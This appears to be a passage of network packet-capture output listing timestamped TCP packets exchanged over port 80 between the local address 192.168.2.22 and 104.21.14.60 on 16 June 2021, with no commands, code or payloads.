Jun 16, 2021 12:04:55.096216917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096236944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096252918 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.096256971 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096272945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.096282005 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096304893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096323967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096343040 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.096343994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096365929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096381903 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.096386909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.096776009 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.097035885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097099066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097121954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097141981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097162962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.097167015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097189903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097209930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097230911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097230911 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.097251892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097271919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097291946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097296000 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.097311974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097337961 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.097352982 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.097955942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098016977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098016024 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.098048925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098067999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098088980 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098092079 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.098109007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098134995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098150015 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.098157883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098179102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098197937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098216057 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.098252058 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098273993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098298073 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098336935 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.098872900 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098928928 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.098946095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.098977089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099001884 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099015951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.099024057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099044085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099064112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099065065 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.099083900 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099102974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099123955 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.099140882 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099162102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099183083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099181890 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.099210024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099251032 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.099796057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099848986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099869013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099889994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099910021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099922895 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.099941015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099957943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099972963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.099977970 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.099992990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100008011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.100125074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.100380898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100418091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100450039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100471973 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.100486040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100509882 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100526094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100543022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100562096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100572109 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.100579023 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100584984 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.100595951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100611925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100626945 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100635052 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.100642920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.100681067 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.101200104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.101309061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101342916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101376057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101389885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.101414919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101430893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101447105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101464033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101474047 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.101479053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101495981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101511955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101511955 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.101532936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101551056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101567030 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.101567030 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.101603031 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.102236986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102271080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102292061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.102313042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102340937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102355957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102371931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102386951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102401972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102406979 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.102416992 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.102420092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102446079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102463007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102478981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102488995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.102495909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.102540016 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.103210926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103252888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103275061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103288889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103301048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103312016 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.103317022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103334904 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103343010 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.103351116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103352070 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.103367090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103874922 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103907108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103916883 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.103940010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103971958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.103991985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.104011059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104028940 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104044914 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104060888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104072094 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.104077101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104101896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104104042 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.104120970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104135990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104152918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104168892 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.104259968 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.104723930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104763031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104804993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104836941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104854107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104861021 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.104870081 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104887009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104902029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104907990 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.104923010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104939938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104954958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104970932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.104975939 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.104985952 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.104986906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105231047 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.105686903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105717897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105727911 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.105763912 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.105767965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105803013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105818987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105834961 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105850935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105859041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.105866909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105882883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105899096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105904102 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.105915070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105933905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105952024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.105952024 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.105983019 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.106539011 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.106575966 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.106595039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.106611013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.106630087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.106647015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.106648922 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.106663942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.106679916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.106695890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.106710911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.106715918 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.106877089 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.107180119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107213974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107243061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107242107 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.107270956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107285976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107301950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107314110 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.107317924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107335091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107336998 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.107351065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107366085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107384920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107393980 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.107403994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107419014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.107445002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.108113050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108144045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108175039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108190060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108205080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108215094 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.108221054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108233929 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.108237982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108256102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108268023 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.108272076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108293056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108309031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.108313084 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.109404087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.111437082 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.113012075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:56.378340006 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:56.421089888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:56.773211956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:56.773241043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:56.773261070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:56.773286104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:56.773298979 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:56.773310900 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:56.773332119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:56.773344040 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:56.773353100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:56.773375988 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:56.974611998 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.378528118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378591061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378633976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378670931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378709078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378746986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378762960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.378788948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378808022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.378813028 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.378829002 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378868103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378879070 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.378917933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378961086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.378967047 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.378990889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.378998995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379039049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379040956 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379077911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379122972 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379138947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379198074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379235983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379244089 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379265070 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379273891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379311085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379317045 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379348993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379385948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379386902 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379435062 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379477024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379477978 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379514933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379529953 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379549980 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379587889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379587889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379626989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379663944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379667044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379702091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379744053 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379749060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379792929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379831076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379834890 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379884958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379916906 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.379929066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379966974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.379970074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380004883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380079985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380084038 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380119085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380156040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380177975 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380193949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380232096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380243063 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380280972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380322933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380326986 CEST	49167	80	192.168.2.22	104.21.14.60
